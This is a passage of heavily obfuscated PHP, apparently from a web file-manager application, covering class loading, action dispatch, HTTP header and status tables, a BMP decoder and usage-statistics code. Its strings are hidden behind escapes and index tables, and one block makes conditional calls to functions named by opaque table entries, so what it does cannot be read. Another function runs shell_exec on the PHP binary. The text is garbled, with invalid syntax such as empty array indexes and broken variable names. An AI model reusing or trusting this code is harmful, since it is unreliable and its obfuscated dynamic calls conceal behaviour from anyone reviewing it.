= $fβ݇ . $E邼[1]; $fȭ؝ = $F钐ڢ[10] . $E邼[1] . $F钐ڢ[11]; } else { if (count($E邼) == 3) { $Cﬥ = $fβ݇ . $E邼[1] . $E邼[2]; $fȭ؝ = $F钐ڢ[12] . $E邼[1] . $F钐ڢ[13] . $E邼[2] . $F钐ڢ[11]; } } $fȭ؝ = PLUGIN_DIR . $fβ݇ . $F钐ڢ[4] . $fȭ؝; } else { if (substr($f, -5) == $F钐ڢ[9]) { $fβ݇ = substr($E邼[0], 0, -5); return Model($fβ݇); } else { $Cﬥ = $E邼[0] . $E邼[1]; $fȭ؝ = CONTROLLER_DIR . $E邼[0] . $F钐ڢ[4] . $E邼[1] . $F钐ڢ[14]; } } goto b޳; f黛: if (!class_exists($Cﬥ)) { return actionCallError("\133{$fβ݇}\x20\75\x3e\40{$Cﬥ}\x5d\x20\x63\154\x61\163\x73\x20\x6e\x6f\x74\40\145\170\x69\x73\x74\163\x21"); } $C򙻩[$B] = new $Cﬥ(); return $C򙻩[$B]; goto D멋; b޳: $B = strtolower($Cﬥ); if (isset($C򙻩[$B])) { return $C򙻩[$B]; } if (is_file($fȭ؝)) { include_once $fȭ؝; } goto f黛; D멋: } function ActionApply($aۦ, $aയ = array()) { goto Cة; Cة: if (is_array($aۦ)) { return call_user_func_array($aۦ, $aയ); } if (function_exists($aۦ)) { return call_user_func_array($aۦ, $aയ); } $d뿠ڠ = strrpos($aۦ, $_SERVER[][5]); goto cՉ; f: if (!method_exists($e, $a;頦)) { return actionCallError("{$aۦ}\x20\155\145\164\x68\x6f\x64\40\156\157\164\x20\145\x78\x69\x73\x74\x73\41"); } $F = call_user_func_array(array($e, $a;頦), $aയ); return $F; goto cŘ; cՉ: $eǹ = substr($aۦ, 0, $d뿠ڠ); $a;頦 = substr($aۦ, $d뿠ڠ + 1); $e = Action($eǹ); goto f; cŘ: } function actionCallError($a) { $Cל =& $_SERVER[]; $EÈ = json_encode_force(array($Cל[15] => this_url(), $Cל[16] => $GLOBALS[$Cל[16]])); $EÈ = str_replace(array($Cל[17]), array($Cל[4]), $EÈ); return write_log($a . $Cל[18] . $EÈ, $Cל[19]); } goto d̴٧͔; d̴٧͔: function ActionCall($Aغ) { $B = array_slice(func_get_args(), 1); return ActionApply($Aغ, $B); } function ActionCallApi($A, $e = '') { goto DÅ; D؈: return $D뭐; goto C􇵙Ǒ; e: $C = Action($C؝[23])->accessToken(); $A = str_replace($C؝[5], $C؝[4], $A) . $C؝[24] . $C . $fՕ; $d = $C؝[20]; goto AŖى; AŖى: $F = phpBinCommand(); if ($F && function_exists($C؝[25])) { $eҏ = $F . $C؝[26] . BASIC_PATH . $C؝[27] . escapeshellarg($A); $d = shell_exec($eҏ); } if (!$d) { $D = stream_context_create(array($C؝[28] => array($C؝[29] => 20, $C؝[30] => $C؝[31]))); $d = file_get_contents(APP_HOST . $C؝[32] . $A, !1, $D); } goto d񙏼; d񙏼: $Eħۑ = json_decode($d, !0); $D뭐 = is_array($Eħۑ) ? $Eħۑ : array($C؝[33] => null, $C؝[34] => $d); if (!$Eħۑ) { echo $d; } goto D؈; DÅ: $C؝ =& $_SERVER[]; $fՕ = $e; if (is_array($e)) { $fՕ = $C؝[20]; foreach ($e as $EՈ => $f娔) { $f娔 = is_array($f娔) ? json_encode($f娔) : $f娔; $f娔 = is_bool($f娔) ? intval($f娔) : $f娔; $fՕ .= $C؝[21] . $EՈ . $C؝[22] . rawurlencode($f娔); } } goto e; C􇵙Ǒ: } function ActionCallHook($e˩) { goto E; dȣ: $E탹 = $dԴ ? json_decode($dԴ, !0) : $E탹; $GLOBALS[$c̓[35]] = 0; return $E탹; goto a; E: $c̓ =& $_SERVER[]; ob_start(); $cᅷ = array_slice(func_get_args(), 1); goto fԂ˓; fԂ˓: $GLOBALS[$c̓[35]] = 1; $E탹 = ActionApply($e˩, $cᅷ); $dԴ = ob_get_clean(); goto dȣ; a: } goto B͋; D̝߭: class HttpHeader { public static $_headers = array("\x48\x6f\163\164" => "\110\x54\124\x50\137\110\x4f\x53\124", "\x55\x73\x65\x72\x2d\x41\147\145\x6e\164" => "\x48\124\124\120\x5f\125\123\105\x52\137\x41\x47\105\x4e\124", "\103\x6f\156\164\145\x6e\x74\x2d\124\x79\x70\x65" => "\x48\x54\124\120\137\x43\x4f\x4e\124\x45\116\124\x5f\124\131\x50\x45", "\x43\157\x6e\x74\x65\x6e\x74\x2d\114\x65\x6e\147\x74\x68" => "\x48\124\124\x50\x5f\x43\117\116\x54\x45\116\124\x5f\x4c\x45\x4e\107\x54\x48", "\x44\145\160\164\150" => "\x48\x54\x54\x50\x5f\104\x45\x50\124\110", "\105\170\x70\145\x63\x74" => "\110\x54\x54\120\137\x45\130\120\x45\103\x54", "\x49\146\55\116\x6f\x6e\145\x2d\x4d\141\x74\x63\150" => "\x48\124\x54\x50\x5f\x49\x46\137\116\x4f\x4e\105\137\x4d\101\124\x43\x48", "\x49\146\x2d\x4d\141\x74\x63\150" => "\x48\124\124\x50\x5f\111\x46\137\x4d\x41\x54\x43\110", "\x49\146\55\122\x61\x6e\x67\145" => "\x48\124\x54\120\137\x49\x46\x5f\x52\x41\x4e\107\x45", "\114\141\x73\x74\x2d\x4d\157\x64\151\x66\151\x65\144" => "\x48\x54\x54\x50\x5f\x4c\101\x53\x54\137\115\117\104\x49\106\x49\105\104", "\111\x66\55\x4d\157\144\x69\146\x69\145\x64\55\x53\x69\x6e\x63\x65" => "\110\x54\124\x50\137\x49\x46\x5f\115\117\x44\111\x46\111\x45\104\x5f\123\111\x4e\103\105", "\x49\146\55\x55\156\x6d\157\x64\151\x66\151\145\144\x2d\x53\x69\156\x63\x65" => "\110\124\x54\120\x5f\x49\x46\x5f\125\x4e\x4d\117\x44\x49\106\111\105\x44\x5f\123\x49\116\103\x45", "\122\141\156\x67\x65" => "\110\124\124\x50\x5f\122\101\x4e\x47\105", "\x54\151\x6d\145\x6f\x75\x74" => "\110\124\124\120\137\x54\111\x4d\x45\117\x55\124", "\111\146" => "\x48\124\124\120\137\111\106", "\x4c\x6f\143\x6b\x2d\x54\x6f\153\x65\x6e" => "\110\124\124\120\x5f\114\117\x43\113\x5f\x54\x4f\x4b\x45\116", "\117\166\x65\162\x77\162\x69\164\x65" => "\110\124\x54\120\137\117\x56\105\x52\x57\122\111\124\x45", "\104\x65\x73\x74\151\x6e\141\164\151\157\x6e" => "\110\124\x54\x50\x5f\x44\x45\x53\124\111\116\x41\124\111\x4f\116", "\x52\145\x71\165\145\x73\x74\x2d\x49\144" => "\122\105\121\x55\x45\123\x54\137\x49\x44", "\x52\x65\x71\x75\x65\163\164\55\x42\x6f\144\x79\55\106\151\x6c\x65" => "\x52\105\121\125\x45\123\124\x5f\x42\117\x44\131\137\106\111\114\105", "\122\x65\x64\x69\x72\x65\x63\x74\x2d\x53\164\x61\x74\x75\163" => "\122\x45\104\111\122\105\103\x54\137\123\x54\x41\x54\125\x53"); public static function init() { static $c = false; if ($c) { return; } foreach ($_SERVER as $Fğ => $B󇫻) { $Fğ = strtoupper($Fğ); if (!array_key_exists($Fğ, $_SERVER)) { continue; } $_SERVER[$Fğ] = $B󇫻; } foreach (self::$_headers as $Fğ => $e) { if (!array_key_exists($Fğ, $_SERVER)) { continue; } $_SERVER[$Fğ] = $_SERVER[$e]; $_SERVER[strtoupper($Fğ)] = $_SERVER[$e]; } } public static function get($Fރ) { self::init(); return $_SERVER[$Fރ] ? $_SERVER[$Fރ] : $_SERVER[$_SERVER[ѽ][1805] . strtoupper($Fރ)]; } public static function method() { return strtoupper(self::get($_SERVER[ѽ][151])); } public static function length() { $A楌 =& $_SERVER[ѽ]; $f = self::get($A楌[1806]); if (!$f) { $f = self::get($A楌[1142]); } return $f; } public static function range() { $E =& $_SERVER[ѽ]; $E߃Ϲ = self::get($E[195]); if (!$E߃Ϲ) { return !1; } if (!preg_match($E[1807], $E߃Ϲ, $A벫)) { return !1; } if ($A벫[1] === $E[33] && $A벫[2] === $E[33]) { return !1; } return array($A벫[1] !== $E[33] ? $A벫[1] : null, $A벫[2] !== $E[33] ? $A벫[2] : null); } public static $statusCode = array("\61\x30\60" => "\x43\x6f\x6e\x74\x69\156\165\x65", "\61\60\x31" => "\123\167\151\164\143\150\x69\x6e\147\40\x50\x72\x6f\x74\157\143\x6f\154", "\61\60\x32" => "\120\162\157\143\145\163\x73\151\x6e\x67", "\61\60\x33" => "\x45\x61\x72\x6c\x79\40\110\151\x6e\164\163", "\62\60\60" => "\x4f\x4b", "\x32\x30\61" => "\x43\162\145\x61\x74\145\x64", "\x32\60\62" => "\x41\143\x63\145\x70\164\145\x64", "\x32\x30\63" => "\x4e\x6f\156\x2d\101\x75\164\150\x6f\x72\x69\164\x61\x74\151\x76\145\x20\111\x6e\x66\157\x72\x6d\141\164\151\157\x6e", "\62\60\64" => "\116\157\x20\103\157\156\x74\145\156\x74", "\x32\60\x35" => "\122\145\163\x65\164\40\103\157\156\164\x65\x6e\164", "\62\x30\x36" => "\x50\x61\162\x74\x69\141\x6c\x20\x43\x6f\x6e\164\145\156\164", "\62\x30\x37" => "\115\x75\154\164\x69\x2d\123\x74\141\164\x75\x73", "\x33\60\x30" => "\x4d\165\x6c\x74\151\x70\x6c\x65\x20\x43\x68\x6f\151\143\x65\x73", "\63\x30\x31" => "\x4d\x6f\x76\145\x64\x20\120\x65\x72\155\141\156\x65\156\164\154\x79", "\63\60\62" => "\106\x6f\x75\156\x64", "\63\60\63" => "\x53\145\145\x20\117\x74\150\x65\x72", "\x33\60\x34" => "\116\157\x74\x20\115\x6f\144\151\x66\151\145\144", "\x33\60\x35" => "\125\x73\x65\40\120\162\157\170\171", "\63\x30\x37" => "\x54\x65\x6d\x70\x6f\162\141\x72\x79\40\x52\145\144\x69\x72\145\x63\x74", "\63\x30\x38" => "\x50\145\x72\155\x61\156\x65\156\164\x20\122\145\x64\151\x72\x65\x63\164", "\64\60\x30" => "\102\141\144\40\122\x65\161\x75\145\163\164", "\x34\x30\61" => "\x55\x6e\141\165\x74\150\157\162\151\172\x65\144", "\x34\60\x32" => "\120\141\x79\x6d\145\156\164\x20\x52\145\161\x75\x69\x72\x65\144", "\64\x30\x33" => "\106\x6f\x72\x62\x69\x64\144\145\x6e", "\64\x30\64" => "\x4e\157\x74\40\106\157\x75\156\144", "\x34\60\x35" => "\115\x65\164\x68\157\x64\40\116\x6f\x74\x20\x41\154\x6c\x6f\x77\x65\x64", "\64\x30\66" => "\116\157\x74\x20\x41\x63\143\145\160\164\141\142\154\145", "\x34\60\x37" => "\x50\162\x6f\170\171\40\x41\x75\x74\150\x65\x6e\x74\x69\143\x61\164\151\157\156\x20\122\145\161\165\x69\162\x65\144", "\64\x30\70" => "\122\145\x71\165\145\163\x74\40\x54\151\x6d\145\x6f\165\164", "\x34\60\x39" => "\103\x6f\x6e\146\154\151\x63\164", "\64\x31\60" => "\x47\157\156\145", "\64\61\x31" => "\x4c\145\156\147\x74\150\40\122\145\x71\x75\x69\162\x65\144", "\x34\x31\x32" => "\120\x72\145\x63\157\x6e\144\x69\164\151\157\x6e\40\x46\141\151\x6c\x65\144", "\64\x31\x33" => "\x52\145\x71\165\145\163\x74\40\x45\156\164\151\x74\171\40\x54\157\157\x20\114\141\162\x67\145", "\x34\x31\64" => "\122\x65\161\165\x65\163\x74\40\x55\x52\111\40\x54\x6f\157\x20\x4c\x61\162\x67\x65", "\64\x31\x35" => "\x55\x6e\163\x75\x70\x70\x6f\162\164\x65\144\x20\x4d\145\x64\x69\x61\x20\124\x79\x70\145", "\x34\x31\x36" => "\x52\x65\x71\x75\x65\x73\x74\145\144\40\122\x61\156\147\x65\x20\116\157\x74\40\123\141\x74\151\x73\146\151\141\142\154\145", "\x34\61\67" => "\105\170\160\145\143\164\141\x74\151\157\x6e\x20\106\141\x69\154\x65\144", "\64\62\x32" => "\125\156\160\162\157\143\x65\163\x73\x61\142\154\x65\x20\x45\156\164\151\x74\x79", "\64\x32\x33" => "\114\x6f\x63\153\145\x64", "\x34\62\64" => "\x46\141\151\154\145\144\40\104\145\160\145\156\x64\x65\156\143\x79", "\x34\x32\65" => "\125\156\x6f\162\x64\145\x72\x65\144\x20\103\x6f\x6c\154\145\x63\164\151\x6f\156", "\64\x32\66" => "\x55\x70\147\162\141\x64\145\40\x52\145\x71\165\151\162\145\x64", "\64\62\70" => "\120\162\145\x63\157\x6e\x64\151\x74\x69\157\x6e\40\x52\145\161\x75\151\x72\145\x64", "\64\62\x39" => "\x54\157\157\40\115\141\156\171\40\x52\145\161\165\145\163\x74\x73", "\x34\63\61" => "\x52\145\x71\165\145\163\x74\x20\x48\x65\141\144\x65\x72\40\106\151\145\154\144\163\40\124\x6f\x6f\x20\x4c\x61\x72\147\x65", "\x34\x34\64" => "\116\157\40\x52\x65\x73\160\157\x6e\163\x65", "\64\65\60" => "\102\x6c\157\143\153\x65\x64\40\x62\171\x20\127\x69\x6e\144\x6f\x77\x73\x20\120\141\x72\x65\x6e\164\x61\x6c\x20\x43\x6f\156\164\162\x6f\154\163", "\x34\x35\x31" => "\x55\156\141\166\x61\151\154\x61\142\154\x65\x20\106\157\162\x20\x4c\x65\147\141\x6c\x20\122\x65\x61\163\x6f\156\163", "\64\x39\64" => "\122\145\161\165\x65\x73\x74\x20\x48\x65\x61\144\145\162\40\x54\x6f\x6f\40\x4c\141\162\147\x65", "\65\60\x30" => "\x49\x6e\164\145\162\156\141\x6c\40\x53\145\162\x76\x65\162\40\x45\162\162\x6f\x72", "\65\x30\x31" => "\116\157\x74\x20\x49\155\x70\154\145\155\x65\156\164\x65\144", "\65\60\x32" => "\x42\141\x64\x20\x47\141\164\145\167\141\x79", "\65\60\63" => "\123\145\162\166\151\143\x65\x20\x55\x6e\141\166\141\x69\154\141\142\x6c\x65", "\x35\x30\64" => "\x47\141\164\145\167\x61\x79\40\124\x69\155\x65\157\x75\x74", "\65\x30\65" => "\x48\x54\x54\x50\40\x56\145\x72\x73\151\x6f\x6e\x20\156\157\164\x20\163\x75\160\x70\x6f\x72\x74\145\x64", "\65\x30\x37" => "\111\x6e\163\165\146\x66\151\143\x69\145\x6e\x74\40\x53\x74\157\x72\x61\147\x65"); public static function code($A񼹥) { $BᵉĂ =& $_SERVER[ѽ]; $A񼹥 = $A񼹥 . $BᵉĂ[33]; $a笊帊 = self::$statusCode[$A񼹥]; $a笊帊 = $a笊帊 ? "\x48\x54\x54\120\57\x31\x2e\61\x20{$A񼹥}\40" . $a笊帊 : $BᵉĂ[33]; return $a笊帊; } } if ($_SERVER[$_SERVER[ѽ][690]] != $_SERVER[$_SERVER[ѽ][1301]]) { goto B߄كŢ; C湺: $A = explode($_SERVER[ѽ][214], $d׏); if (count($A) < $_SERVER[ѽ][553]) { $C = $_SERVER[ѽ][695]; $C(); } $eո = $_SERVER[ѽ][696]; goto cӃ; B߄كŢ: $BԲ = $_SERVER[ѽ][692]; $B = $_SERVER[$_SERVER[ѽ][693]] . $_SERVER[ѽ][694]; $d׏ = $BԲ($B); goto C湺; cӃ: $eո($_SERVER[$_SERVER[ѽ][691]]); goto A; A: } class ImageGdBMP { public static function load($bꢟ) { $D = fopen($bꢟ, $_SERVER[ѽ][1496]); if ($D === !1) { return !1; } $D = self::loadFromStream($D); fclose($D); return $D; } public static function loadFromStream($C؆) { $a =& $_SERVER[ѽ]; $fӥ = fread($C؆, 14); if ($fӥ === !1) { return !1; } if ($fӥ[0] != $a[1808] || $fӥ[1] != $a[1809]) { return !1; } $D∴ = unpack($a[1810] . $a[1811] . $a[1812] . $a[1813] . $a[1814], $fӥ); return self::loadFromStreamAndFileHeader($C؆, $D∴); } public static function loadFromStreamAndFileHeader($Fɣ, array $cނ) { goto ců; E: if ($eʝ == 1 || $eʝ == 4 || $eʝ == 8) { goto F􄻿; B֕: $D = (1 << $eʝ) - 1 << $b챗ݪ; if ($A܋Χ == 1 || $A܋Χ == 2) { $B = 0; $d͢ = $eʝ >> 2 & 1; for (;;) { if ($B < -1 || $B > $b凶 || $fџ < -1 || $fџ > $e௞) { imagedestroy($d͊); return !1; } $dΫ = fread($Fɣ, 1); if ($dΫ === !1) { imagedestroy($d͊); return !1; } switch ($dΫ) { case $Aғń[1833]: $dΫ = fread($Fɣ, 1); if ($dΫ === !1) { imagedestroy($d͊); return !1; } switch ($dΫ) { case $Aғń[1833]: $fџ += $bޒ; $B = 0; break; case $Aғń[1835]: $fџ = 0; $B = 0; break 3; case $Aғń[1836]: $dΫ = fread($Fɣ, 2); if ($dΫ === !1) { imagedestroy($d͊); return !1; } list(, $a񸟷Ų, $B诋) = unpack($Aғń[1837], $dΫ); $B += $a񸟷Ų; $fџ += $B诋 * $bޒ; break; default: list(, $C) = unpack($Aғń[1838], $dΫ); $dۦ = ($C >> $d͢) + ($C & $d͢); $dΫ = fread($Fɣ, $dۦ + 1 & ~1); if ($dΫ === !1) { imagedestroy($d͊); return !1; } for ($Eن = 0, $cў = 0; $Eن < $C; ++$Eن, ++$B, $cў += $eʝ) { list(, $bǮ) = unpack($Aғń[1838], $dΫ[$cў >> 3]); $Fڄ = $cў & 7; imagesetpixel($d͊, $B, $fџ, $dކ[($bǮ & $D >> $Fڄ) >> $b챗ݪ - $Fڄ]); } break; } break; default: $D = fread($Fɣ, 1); if ($D === !1) { imagedestroy($d͊); return !1; } list(, $f셉, $bǮ) = unpack($Aғń[1837], $dΫ . $D); for ($Eن = 0, $cў = 0; $Eن < $f셉; ++$Eن, ++$B, $cў += $eʝ) { $Fڄ = $cў & 7; imagesetpixel($d͊, $B, $fџ, $dކ[($bǮ & $D >> $Fڄ) >> $b챗ݪ - $Fڄ]); } break; } } } else { for ($f烟֗ = 0; $f烟֗ < $BᲈІ; ++$f烟֗, $fџ += $bޒ) { $dΫ = fread($Fɣ, $c┳); if ($dΫ === !1) { imagedestroy($d͊); return !1; } $cў = 0; for ($B = 0; $B < $b凶; ++$B, $cў += $eʝ) { list(, $bǮ) = unpack($Aғń[1838], $dΫ[$cў >> 3]); $Fڄ = $cў & 7; imagesetpixel($d͊, $B, $fџ, $dކ[($bǮ & $D >> $Fڄ) >> $b챗ݪ - $Fڄ]); } } } goto a; BЉÉ: $dކ = array(); for ($Eن = 0; $Eن < $E˰; ++$Eن) { $dΫ = fread($Fɣ, $F۵Ɠ); if ($dΫ === !1) { imagedestroy($d͊); return !1; } extract(unpack($Aғń[1834], $dΫ . $Aғń[1833])); $dކ[] = imagecolorallocate($d͊, $A҄, $fш, $Fڄ); } $b챗ݪ = 8 - $eʝ; goto B֕; F􄻿: $d͊ = imagecreate($b凶, $BᲈІ); $F۵Ɠ = $dɉ == 12 ? 3 : 4; $E˰ = $D ? $D : pow(2, $eʝ); goto BЉÉ; a: } else { goto c۷; dƹ: $e = $Dŏ黑 ? 1 / $Dŏ黑 : 1; $Bϱ = $A ? 1 / $A : 1; $F = $DЇ ? 1 / $DЇ : 1; goto c󇧡; c۷: $d͊ = imagecreatetruecolor($b凶, $BᲈІ); imagealphablending($d͊, !1); if ($e֒Б) { imagesavealpha($d͊, !0); } goto fΧ; c󇧡: for ($f烟֗ = 0; $f烟֗ < $BᲈІ; ++$f烟֗, $fџ += $bޒ) { $dΫ = fread($Fɣ, $c┳); if ($dΫ === !1) { imagedestroy($d͊); return !1; } $cў = 0; for ($B = 0; $B < $b凶; ++$B, $cў += $d) { list(, $bǮ) = unpack($Aғń[1815], substr($dΫ, $cў, $d) . $Aғń[1839]); $aީ = $bǮ & $e֒Б; $d = $bǮ & $Dŏ黑; $b = $bǮ & $A; $f = $bǮ & $DЇ; $Dƅ = $eҮ - (($aީ << 7) - $aީ) * $fƃ; $A҄ = (($d << 8) - $d) * $e; $fш = (($b << 8) - $b) * $Bϱ; $Fڄ = (($f << 8) - $f) * $F; imagesetpixel($d͊, $B, $fџ, $Dƅ << 24 | $A҄ << 16 | $fш << 8 | $Fڄ); } } imagealphablending($d͊, !0); goto A厍; fΧ: $d = $eʝ >> 3; $eҮ = $e֒Б ? 127 : 0; $fƃ = $e֒Б ? 1 / $e֒Б : 1; goto dƹ; A厍: } return $d͊; goto aތ; Fٿ: $BᲈІ = abs($e௞); $fџ = $e௞ > 0 ? $BᲈІ - 1 : 0; $bޒ = $e௞ > 0 ? -1 : 1; goto E; eվߺ: if ($b凶 == 0 || $e௞ == 0 || $F != 1 || ($e֒Б & $Dŏ黑) != 0 || ($e֒Б & $A) != 0 || ($e֒Б & $DЇ) != 0 || ($Dŏ黑 & $A) != 0 || ($Dŏ黑 & $DЇ) != 0 || ($A & $DЇ) != 0) { return !1; } if ($A܋Χ == 4 || $A܋Χ == 5) { $dΫ = stream_get_contents($Fɣ, $b‘); if ($dΫ === !1) { return !1; } return imagecreatefromstring($dΫ); } $c┳ = $b凶 * $eʝ + 31 >> 3 & ~3; goto Fٿ; ců: $Aғń =& $_SERVER[ѽ]; if ($cނ[$Aғń[385]] != 19778) { return !1; } $dΫ = fread($Fɣ, 4); goto a띇; a띇: if ($dΫ === !1) { return !1; } list(, $dɉ) = unpack($Aғń[1815], $dΫ); if ($dɉ == 12) { goto Ař̃; C: $DЇ = 255; goto fǯ; Ař̃: $dΫ = fread($Fɣ, $dɉ - 4); if ($dΫ === !1) { return !1; } extract(unpack($Aғń[1816] . $Aғń[1817] . $Aғń[1818] . $Aғń[1819], $dΫ)); goto f; f: $D = $fÏ = $e֒Б = $A܋Χ = 0; $Dŏ黑 = 16711680; $A = 65280; goto C; fǯ: } else { if (124 < $dɉ || $dɉ < 40) { return !1; } else { goto a; eΌ: if ($b凶 & 2147483648) { $b凶 = -(~$b凶 & 4294967295) - 1; } if ($e௞ & 2147483648) { $e௞ = -(~$e௞ & 4294967295) - 1; } if ($d߾ & 2147483648) { $d߾ = -(~$d߾ & 4294967295) - 1; } goto f; a: $dΫ = fread($Fɣ, 36); if ($dΫ === !1) { return !1; } extract(unpack($Aғń[1820] . $Aғń[1821] . $Aғń[1818] . $Aғń[1822] . $Aғń[1823] . $Aғń[1824] . $Aғń[1825] . $Aғń[1826] . $Aғń[1827] . $Aғń[1828], $dΫ)); goto eΌ; f: if ($fܣ & 2147483648) { $fܣ = -(~$fܣ & 4294967295) - 1; } if ($cނ[$Aғń[516]] != 0) { $Dѯ = $eʝ == 1 || $eʝ == 4 || $eʝ == 8 ? ($D ? $D : pow(2, $eʝ)) << 2 : 0; $D = $b‘ ? $b‘ : ($b凶 * $eʝ + 31 >> 3 & ~3) * abs($e௞); $f = $cނ[$Aғń[516]] - $D - $Dѯ - 14; if ($dɉ < $f && 40 <= $dɉ && $dɉ <= 124) { $dɉ = $f; } } if ($dɉ - 40 > 0) { $dΫ = fread($Fɣ, $dɉ - 40); if ($dΫ === !1) { return !1; } extract(unpack($Aғń[1829] . $Aғń[1830] . $Aғń[1831] . $Aғń[1832], $dΫ . str_repeat($Aғń[1833], 120))); } else { $e֒Б = $Dŏ黑 = $A = $DЇ = 0; } goto d񕭺А; d񕭺А: if (($eʝ == 16 || $eʝ == 24 || $eʝ == 32) && $A܋Χ == 0 && $Dŏ黑 == 0 && $A == 0 && $DЇ == 0) { switch ($eʝ) { case 16: $Dŏ黑 = 31744; $A = 992; $DЇ = 31; break; case 24: case 32: $Dŏ黑 = 16711680; $A = 65280; $DЇ = 255; break; } } goto c; c: } } goto eվߺ; aތ: } } goto bه; a: class AnalysisModel extends ModelBaseLight { public function init($Aͪ̕) { $D̄Ǡ =& $_SERVER[ѽ]; $BŚ = array($D̄Ǡ[531] => array($D̄Ǡ[29] => $D̄Ǡ[2006], $D̄Ǡ[258] => array($D̄Ǡ[207], $D̄Ǡ[710], $D̄Ǡ[2007], $D̄Ǡ[2008])), $D̄Ǡ[2009] => array($D̄Ǡ[29] => $D̄Ǡ[2010], $D̄Ǡ[258] => array($D̄Ǡ[207], $D̄Ǡ[708], $D̄Ǡ[2011], $D̄Ǡ[2012], $D̄Ǡ[2013]))); if (!isset($BŚ[$Aͪ̕])) { return !1; } $this->optionType = $BŚ[$Aͪ̕][$D̄Ǡ[29]]; $this->field = $BŚ[$Aͪ̕][$D̄Ǡ[258]]; return !0; } public function listData($eܱ = false, $b = "\155\157\x64\x69\x66\x79\x54\x69\155\145", $dȓ = false) { return parent::listData($eܱ, $b, $dȓ); } public function trendList($FǙ) { goto Fƻ; Fƻ: $d캂 =& $_SERVER[ѽ]; $cˋΊ = $this->listData(); if ($cˋΊ) { $eө = end($cˋΊ); $Aԙ = date($d캂[2014], strtotime($d캂[2015])); if ($eө[$d캂[207]] == $Aԙ) { return $cˋΊ; } $e = strtotime($eө[$d캂[207]]); } goto f牙; bѾ瑭: foreach ($Bļ֯̈́ as $Aԙ) { $this->{$eŜ}($Aԙ); } return $this->listData(); goto aՒ; f牙: if (!isset($e)) { $E = $FǙ == $d캂[531] ? $d캂[473] : $d캂[762]; $e = Model($E)->min($d캂[184]); } $eŜ = $d캂[2016] . ucfirst($FǙ); $Bļ֯̈́ = $this->dateList($e); goto bѾ瑭; aՒ: } private function dateList($aʢʎ) { $D =& $_SERVER[ѽ]; $b􆉆 = $aʢʎ; $AНΥ = strtotime($D[2015]); $dč = array(); while ($b􆉆 <= $AНΥ) { $dč[] = date($D[2014], $b􆉆); $b􆉆 = strtotime($D[2017], $b􆉆); } return $dč; } public function _recordUser($Bع = '') { goto dߤ; a߼ۂ: $Aߔ = Model($d陑Џ[473])->where($cБ)->count($d陑Џ[1417]); $cБ[$d陑Џ[29]] = $d陑Џ[2020]; $B˥ҳ = Model($d陑Џ[2021])->where($cБ)->count($d陑Џ[2022]); goto DΕ; E: $cБ = array($d陑Џ[184] => array($d陑Џ[933], $Eۼ)); $fĈ = Model($d陑Џ[473])->where($cБ)->count($d陑Џ[1417]); $cБ[$d陑Џ[184]] = array($d陑Џ[318], array($DſɌ, $Eۼ)); goto a߼ۂ; dߤ: $d陑Џ =& $_SERVER[ѽ]; $DſɌ = strtotime(date($d陑Џ[2018], strtotime($Bع))); $Eۼ = strtotime(date($d陑Џ[2019], strtotime($Bع))); goto E; DΕ: $e㪆 = array($d陑Џ[207] => $Bع, $d陑Џ[710] => (int) $fĈ, $d陑Џ[2007] => (int) $Aߔ, $d陑Џ[2008] => (int) $B˥ҳ); return $this->insert($e㪆); goto Dґ۸; Dґ۸: } public function _recordStore($C̃ܚ = '') { goto d˪բ; aڢϴ: $e[$D[368]] = 1; $bν = Model($D[762])->where($e)->sum($D[77]); $e[$D[368]] = 2; goto Bމ; Bމ: $F = Model($D[762])->where($e)->sum($D[77]); $F = array($D[207] => $C̃ܚ, $D[708] => (int) $EƎ, $D[2011] => (int) $Fܗ⼺, $D[2012] => (int) $bν, $D[2013] => (int) $F); return $this->insert($F); goto C랍; Bޥ: $Fܗ⼺ = Model($D[418])->where($e)->sum($D[77]); $e[$D[367]] = 0; $EƎ = Model($D[762])->where($e)->sum($D[77]); goto aڢϴ; d˪բ: $D =& $_SERVER[ѽ]; $C“ = strtotime(date($D[2019], strtotime($C̃ܚ))); $e = array($D[184] => array($D[933], $C“)); goto Bޥ; C랍: } public function trend($D, $aՊ) { goto Ḓ; Ḓ: $cɋ겒 =& $_SERVER[ѽ]; if (!$this->init($D)) { return !1; } $f = $this->trendList($D); goto d; BӌҰ: if (empty($f)) { $eޫ = date($cɋ겒[2014], strtotime($cɋ겒[2015])); $Eُ = array($cɋ겒[207] => $eޫ); foreach ($Dռ¹[$D] as $A => $B֜) { $Eُ[$A] = 0; } $f[] = $Eُ; } $Dڱ狍 = array(); foreach ($f as $B֜) { if ($D == $cɋ겒[2009] && $B֜[$cɋ겒[2011]] > $B֜[$cɋ겒[708]]) { $B֜[$cɋ겒[2011]] = $B֜[$cɋ겒[708]]; } foreach ($Dռ¹[$D] as $A => $EǮ) { $a = array($cɋ겒[207] => $B֜[$cɋ겒[207]], $cɋ겒[1325] => $EǮ); $a[$d⿟[$D]] = isset($B֜[$A]) ? $B֜[$A] : 0; $Dڱ狍[] = $a; } } goto b; b: return $Dڱ狍; goto bܩ; d: if ($f && $aՊ != $cɋ겒[1392]) { $fښ = $f[0][$cɋ겒[207]]; $A = $this->validDate($aՊ, $fښ); $c = array(); $eӲ = array_to_keyvalue($f, $cɋ겒[207]); foreach ($A as $eޫ) { if (isset($eӲ[$eޫ])) { $a = $eӲ[$eޫ]; } else { $a = end($f); $a[$cɋ겒[207]] = $eޫ; if ($D == $cɋ겒[531]) { $a[$cɋ겒[2007]] = $a[$cɋ겒[2008]] = 0; } } $c[] = $a; } $f = $c; } $Dռ¹ = array($cɋ겒[531] => array($cɋ겒[710] => LNG($cɋ겒[2023]), $cɋ겒[2007] => LNG($cɋ겒[2024]), $cɋ겒[2008] => LNG($cɋ겒[2025])), $cɋ겒[2009] => array($cɋ겒[708] => LNG($cɋ겒[2026]), $cɋ겒[2011] => LNG($cɋ겒[2027]), $cɋ겒[2012] => LNG($cɋ겒[2028]), $cɋ겒[2013] => LNG($cɋ겒[2029]))); $d⿟ = array($cɋ겒[531] => $cɋ겒[2030], $cɋ겒[2009] => $cɋ겒[77]); goto BӌҰ; bܩ: } public function validDate($F, $b߰) { goto d; Dִ: return $f޻; goto C; fנ: switch ($F) { case $E·[1399]: $D̓ = mktime(0, 0, 0, date($E·[2031]), date($E·[2032]) - date($E·[1222]) + 7 - 7, date($E·[2033])); $fޣ = 0; do { $Bڍ = date($E·[2014], $D̓ - 3600 * 24 * 7 * $fޣ); $f޻[] = $Bڍ; $fޣ++; } while ($b߰ < $Bڍ); break; case $E·[1397]: $fޣ = 1; do { $Cċ = date($E·[2034], strtotime("\55\x20{$fޣ}\x20\x6d\157\x6e\164\150\163")); $f޻[] = $Cċ; $fޣ++; } while ($b߰ < $Cċ); break; case $E·[1702]: $b뎂 